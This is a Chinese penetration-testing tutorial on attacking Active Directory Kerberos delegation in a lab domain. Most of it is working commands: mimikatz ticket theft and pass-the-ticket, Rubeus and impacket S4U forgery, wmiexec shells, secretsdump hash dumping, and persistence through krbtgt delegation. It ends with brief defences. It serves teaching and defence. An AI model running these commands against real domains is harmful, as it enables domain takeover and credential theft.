<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透|域內委派詳解

    VSole2021-08-04 09:00:00

    委派概述:

    域委派是指將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶的權限在域內展開活動。 簡言之:當A訪問服務B時,服務B拿著A用戶的憑證去訪問服務C,這個過程稱為委派。

    委派的方式:

    非約束委派和約束委派,基于資源的約束委派。

    在域內只有主機賬號和服務賬號才有委派屬性 主機賬號:活動目錄中的computers組內的計算機,也被稱為機器賬號。 服務賬號:域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來加入域內,比如:SQLServer,MYSQL等;域用戶通過注冊SPN也能成為服務賬號。

    委派的前提:

    被委派的用戶不能被設置為不能被委派屬性。

    查找非約束委派的主機或服務賬號(域控默認配置非約束委派屬性):

    1.利用powersploit中的powerview

    Import-Module .\PowerView.ps1;

    查詢非約束委派的主機 Get-NetComputer -Unconstrained -Domain hiro.com

    查詢非約束委派的服務賬號 Get-NetUser -Unconstrained -Domain hiro.com | select name

    2.利用ADFind

    查找域中配置非約束委派的用戶 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

    查找域中配置非約束委派的主機 AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

    查找約束委派的主機或服務賬號:

    1.利用empire中的powerview

    Import-Module .\powerview.ps1;

    查詢約束委派的主機: Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

    查詢約束委派的賬號: Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

    2.利用ADFind

    查找域中配置約束委派用戶: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    查找域中配置約束委派的主機: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    非約束委派

    大致流程:

    user訪問serverA,于是向DC發起認證,DC會檢查serverA的機器賬號的屬性,如果是非約束委派的話,會把用戶的TGT放在ST票據中并一起發送給serverA 這樣serverA在驗證ST票據的同時也獲取到了用戶的TGT,并把TGT儲存在自己的lsass進程中以備下次重用,從而serverA就可以使用這個TGT,來模擬這個user訪問任何服務。

    從攻擊角度來說:如果攻擊者拿到了一臺配置了非約束委派的機器權限,可以誘導管理員來訪問該機器,然后可以得到管理員的TGT,從而模擬管理員訪問任意服務,相當于拿下了整個域環境。

    利用:

    域:hiro.com 域控:WIN-KONG IP:192.168.228.10 域管:administrator 受委派機器:WIN-E6FR4HVBPCI

    現在將WIN-E6FR4HVBPCI這個機器賬號設置為非約束委派。

    通過命令行打開adsiedit.msc查看WIN-E6FR4HVBPCI機器屬性,可以看到:

    當被設置為非約束委派的時候,它的userAccountControl會包含TRUSTED_FOR_DELEGATION字段。

    用域管訪問WIN-E6FR4HVBPCI機器

    然后在WIN-E6FR4HVBPCI上以管理員權限運行mimikatz

    privilege::debug

    導出票據

    sekurlsa::tickets /export

    此時拿到了管理員的票據,用mimikatz將票據注入內存中,然后訪問域控

    導入票據

    kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi

    查看票據

    kerberos::list

    非約束委派+spooler打印機

    費約束委派常規利用感覺還是比較雞肋,想得到域內權限必須要管理員與配置了委派的機器建立連接,所以有國外的大佬研究出了非約束委派+spooler打印機來強制與指定的主機進行連接。開始域控為server2012,后面網上有的大佬說可能是版本的問題,后面升級到了server2016還是報錯,這種情況復現不了了,有興趣的可以自己試一試。也可以參考這篇文章。

    約束委派

    由于非約束委派的不安全性,微軟在windows server 2003中引入了約束委派,對Kerberos協議進行了拓展,引入了S4U,其中S4U支持兩個子協議:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),這兩個擴展都允許服務代表用戶從KDC請求票證。S4U2self可以代表自身請求針對其自身的可轉發的Kerberos服務票據(ST1)S4U2proxy可以以用戶的名義請求其它服務的ST2約束委派就是限制了S4U2proxy擴展的范圍

    其中:

    S4U2Self用用戶的TGT向KDC請求用戶的可轉發的ST1,再用這張ST1去發起S4U2proxy請求。) 通過此擴展可以拿到一張標識任意用戶身份的ST,它的作用其實是協議轉換有時用戶會通過其他協議(例如NTLM或什至基于表單的身份驗證)對服務進行身份驗證,因此他們不會將TGS發送給服務。在這種情況下,服務可以調用S4U2Self來要求身份驗證服務為其自身的任意用戶生成TGS,然后可以在調用S4U2Proxy時將其用作依據。例如網站A服務器可以使用它去向KDC請求一張用戶B身份的ST1,網站A服務器再用這張ST1去發起S4U2proxy請求。

    S4U2proxy拿用戶的可轉發的ST1請求用于訪問服務器的ST2) 該拓展作用是使用一張用戶A身份的ST1去向KDC請求一張用于訪問文件服務器B的ST2,這張ST2的身份還是用戶的,這樣的話網站A就可以利用用戶A的權限去訪問文件服務器B上的文件了。

    大致流程:

    user訪問serviceA,向DC發起kerberos認證,域控返回user的TGT和ST1票據,user使用ST1票據對serviceA進行訪問

    如果配置了serviceA到serviceB的約束委派,則serviceA能使用S4U2Proxy協議將用戶發給自己的可轉發的ST1票據以用戶的身份發給DC。

    域控返回serviceA一個用來訪問serviceB的ST2票據,這樣serviceA就能以用戶的身份對serviceB發起訪問。

    由于服務用戶只能獲取某個用戶(或主機)的服務的ST1而非TGT所以只能模擬用戶訪問特定的服務,但是如果能拿到約束委派用戶(或主機)的密碼或者Hash,就可以偽造S4U的請求,偽裝成服務用戶以任意用戶的權限申請訪問指定服務的ST2

    利用:

    域:hiro.com 域控:WIN-KONG@192.168.228.10 域管:administrator 受委派機器:WIN-RRI9T9SN85D@192.168.228.15 域用戶:win7

    首先在域控上將域用戶win7注冊成為SPN服務賬號

    setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7

    查看是否注冊成功

    setspn -L win7

    然后將win7用戶設置約束委派的屬性,為訪問域控的cifs(訪問文件夾

    通過命令行打開adsiedit.msc查看win7用戶屬性,可以看到:

    當被設置為約束委派的時候,它的userAccountControl會包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

    并且比非約束委派的賬戶多了msDS-AllowedToDelegateTo字段,里面包含了允許委派的服務

    當知道win7這個服務用戶的明文密碼或者Hash時,可以用kekeo請求它的TGT

    擁有明文密碼

    tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

    擁有賬戶的Hash

    tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx

    PS:如果既不知道明文也不知道Hash,如果有了服務用戶登錄的主機權限,可以用mimikatz從內存中把服務用戶的TGT dump下來照樣可以實現

    從內存中導出所有票據

    sekurlsa::tickets /export

    然后通過win7的TGT偽造s4u請求以administrator身份請求訪問WIN-KONG cifs的ST

    tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

    用mimikatz將票據導入內存中

    kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

    訪問域控:

    約束委派請求過程:

    tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

    AS-REQ

    以用戶win7請求TGT

    AS-REP

    AS返回用戶win7的TGT,也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi

    tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

    TGS-REQ

    win7用戶用上一步得到的TGT,用上S4U2Self協議,以administrator的名義向TGS申請一張訪問自身服務并且可轉發的ST1票據。

    TGS-REP

    TGS返回administrator的ST1票據給win7

    TGS-REQ

    win7用戶拿到了administrator的ST1票據后,win7帶上這張可轉發的訪問自身服務的票據 ,用上S4U2Proxy協議,以administrator用戶的名義請求一張訪問WIN-KONG的CIFS服務的ST2票據

    TGS-REP

    TGS返回以administrator用戶訪問WIN-KONG的CIFS服務的票據,也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

    通過流程可以看出,第一步生成的可轉發的ST1只是為了請求第二步以administrator用的名義請求一張訪問WIN-KONG的CIFS服務的ST2票據

    利用約束委派權限維持

    通過約束委派生成黃金票據

    TGT由krbtgt Hash加密,如果能通過委派krbtgt服務,那么就能偽造任意用戶的TGT了。

    由于krbtgt默認是禁用的,所以無法使用頁面添加它的SPN。

    域控通過powershell添加win7到krbtgt的約束委派:

    powershell -exec bypass

    Import-Module ActiveDirectory

    $user = Get-ADUser win7 (win7為設置為約束委派的服務賬號)

    Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }

    利用impacket套件攻擊

    偽造administrator的TGT

    python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.

    export KRB5CCNAME=administrator.ccache

    用wmiexec彈出一個權限為administrator交互式的shell

    python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

    導出域內哈希

    python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com

    基于資源的約束委派

    傳統的委派,在設置的過程中其實都是需要SeEnableDelegation特權,而這個特權需要域管理員才能設置。相對于傳統的委派,基于資源的約束委派它不需要域管理員設置,而是機器本身。

    約束委派和基于資源的約束委派的區別:

    前者:通過服務A委派到服務B,實際是在服務A上增加TRUSTED_FOR_DELEGATION字段(非約束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONmsDS-AllowedToDelegateTo (約束委派)字段來達到委派的目的。

    后者:通過服務B允許服務A委派到服務B,實際是通過服務B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity字段,從而允許服務A對服務B的基于資源的約束委派。

    所以當利用到基于資源的約束委派的時候,服務A的兩個字段是沒有賦值的當這兩個字段沒有被賦值的時候,通過S4U2Self得到的ST服務票證是不可被轉發而S4U2Proxy的作用就是將可轉發的ST票據轉發到其他服務進行委派認證的但是在基于資源的約束委派過程中不可轉發的ST仍可以通過S4U2Proxy轉發到其他服務進行委派認證,并且最后還會返回一張可轉發的ST服務票證

    因此,如果能夠在服務B上配置允許服務A的基于資源的約束委派,那么就可以通過控制服務A使用S4U2Self向域控請求任意用戶訪問自身的服務票據,最后再使用S4U2Proxy轉發此ST票據去請求訪問服務B的可轉發的ST服務票據,那么我們就可以模擬任意用戶訪問服務B了。這里可以以普通域用戶的身份去創建機器賬號作為服務A。

    條件

    利用基于資源的約束委派(RBCD)需要2個條件:

    1.擁有將域機器加入域的域用戶的權限。(將機器B加入域的域用戶擁有修改機器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的權限。)

    2.一個任意服務賬戶或者一個機器賬戶(每一個域用戶都可以添加10個機器賬戶)

    利用:

    域:hiro.com 域控:WIN-KONG@192.168.228.10 域管:administrator 域內機器:DESKTOP-P34E60A,win10把這臺機器加入到域內

    通過ADFind查找將域機器拉入域的用戶的SID:

    AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

    查看S-1-5-21-3105699010-1460039537-418241315-1118是誰:

    AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn

    假如現在已經拿到了把DESKTOP-P34E60A這臺機器加入域的用戶win10的權限

    使用whoami /all查詢當前用戶的sid

    同樣可以通過用戶的sid查看哪些域機器是通過自己加入到域內的:

    AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

    如果一個機器賬號沒有mS-DS-CreatorSID,那么他是被域管拉入到域內的

    利用powermad添加機器賬戶:(https://github.com/Kevin-Robertson/Powermad)

    Import-Module .\Powermad.ps1

    以win10用戶創建一個域機器名為win10system,密碼為win10

    New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

    驗證是否創建成功:

    net group "domain computers" /do

    查詢添加機器的SID:

    1.域控上查詢:

    dsquery computer | dsget computer -dn -sid

    或者powershell運行Get-ADComputer win10system

    2.域機器上查詢:(使用empire下的powerview)

    Import-Module .\powerview.ps1

    Get-DomainComputer -Identity win10system

    然后設置win10system到DESKTOP-P34E60A的基于資源的約束委派(使用empire下的powerview)

    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

    $SDBytes = New-Object byte[] ($SD.BinaryLength)

    $SD.GetBinaryForm($SDBytes, 0)

    Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

    檢查是否配置成功

    Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity

    攻擊完成清除基于資源的約束委派配置:

    Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

    也可以在域控上通過命令行打開adsiedit.msc查看CN=DESKTOP-P34E60A機器屬性,可以看到:

    當被設置為基于資源的約束委派的時候,它的msds-allowedtoactonbehalfofotheridentity會包含有效字段。

    現在已經配置好利用條件就可以通過基于資源的約束委派進行攻擊了

    1.使用rubues獲取票據

    Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

    Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

    2.使用impacket套件獲取

    python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10

    set KRB5CCNAME=administrator.ccache

    python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10

    利用基于資源的約束委派進行權限維持

    跟約束委派利用相似,可以配置win10system到krbtgt的基于資源的約束委派,只要有了win10system的權限,就能偽造任意用戶請求krbtgt服務,則可以請求到任意用戶的TGT

    在域控上執行:

    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

    $SDBytes = New-Object byte[] ($SD.BinaryLength)

    $SD.GetBinaryForm($SDBytes, 0)

    Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

    可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity會包含有效字段。

    1.使用rubeus偽造administrator請求TGT

    Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt

    klist查看緩存票證

    訪問域控

    2.同樣的也能用impacket套件

    python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10

    set KRB5CCNAME=administrator.ccache

    python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

    防御:



    1.高權限賬號設置禁止委派屬性

    2.微軟推出了protected users組,組內用戶不允許被委派,適用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012

    3.kerberos預認證不使用DES或RC4等加密算法(盡量使用AES256)同樣能夠預防Kerberoast攻擊

    軟件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    根據SecurityScorecard發布的《全球第三方網絡安全漏洞報告》顯示,2023年大約29%的違規行為可歸因于第三方攻擊媒介,因為許多違規行為的報告沒有指定攻擊媒介,所以實際比例可能要更高。MOVEit、CitrixBleed和Proself是2023年的軟件供應鏈方面三個最廣泛利用的漏洞,其中MOVEit零日漏洞產生廣泛影響可能被歸咎于第三方、第四方甚至第五方。
    近日,以色列網絡安全公司Seal Security宣布獲得由Vertex Ventures Israel領投的740萬美元種子輪融資,Seal歸屬軟件供應鏈安全賽道,其研發的平臺產品主要利用生成式AI為客戶提供自動化的修復解決方案,其平均修復時間可從過去幾個月縮短到現在的幾個小時,足以以應對軟件供應鏈這一日益嚴峻的挑戰。
    通過在開源軟件包中插入惡意代碼來迅速將惡意軟件傳播到整個軟件供應鏈中是惡意分子常用的攻擊手段。然而,最新的研究發現,如果用戶等待大約14天后再將這些軟件包更新到最新版本,就可以避免受到軟件包劫持攻擊的不良影響。
    軟件組成分析(SCA)應用程序安全測試(AST)工具市場的一個細分市場,負責管理開源組件的使用。SCA工具自動掃描應用程序的代碼庫,包括容器和注冊表等相關構件,以識別所有開源組件、它們的許可證遵從性數據和任何安全漏洞。除了提供對開源使用的可見性之外,一些SCA工具還通過區分優先級和自動補救來幫助修復開源漏洞。SCA工具通常從掃描開始,生成產品中所有開源組件的清單報告,包括所有直接和傳遞依賴項。擁有
    軟件安全之CRC檢測
    2023-04-19 09:47:57
    k++)//因為這里異或是從數據的高位開始,所以需要計算的數據左移8位,這里就需要計算8次。1)//判斷最高位是否為1. 0xEDB88320;//最高位為1,右移一位,然后與0xEDB88320異或???相當于例子2中110與000異或值是不變的
    基于各方在自身領域的專業積累,將此次調研工作進行了明確的分工,并將不定期進行調研分享交流會。
    各類攻防演練的結果證明,軟件供應鏈攻擊已成為投入低、見效快、易突破的有效方式。總體思路與原則:合規是底線,管理是準則,制度是要求,技術是支撐,服務是保障,流程是協作。安全管理制度的建立,能夠規范軟件供應鏈涉及的內部、外部角色的行為,同時提供制度性保障。其次,針對軟件開發各階段與存在的風險,引入對應的安全能力,提供技術支撐,確保安全質量。
    新推出的開放框架尋求為公司和安全團隊提供全面且可行的方式深入了解軟件供應鏈攻擊行為及技術。這項名為開放軟件供應鏈攻擊參考(OSC&R)的計劃由以色列軟件物料安全管理公司OX Security主導,評估軟件供應鏈安全威脅,覆蓋一系列攻擊途徑,比如第三方庫和組件漏洞、構建及開發系統供應鏈攻擊,以及被黑或惡意軟件更新包。
    當下,軟件開發安全的理念很火,各行各業都已認識到保障應用系統開發安全的重要性,但是要真正實現起來,結果卻不是那么理想。
    軟件常見漏洞的解析
    2022-11-28 10:16:06
    理論基礎漏洞可以定義為“在軟件和硬件組件中發現的計算邏輯(例如代碼)中的弱點,當被利用時,會對機密性,完整性
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类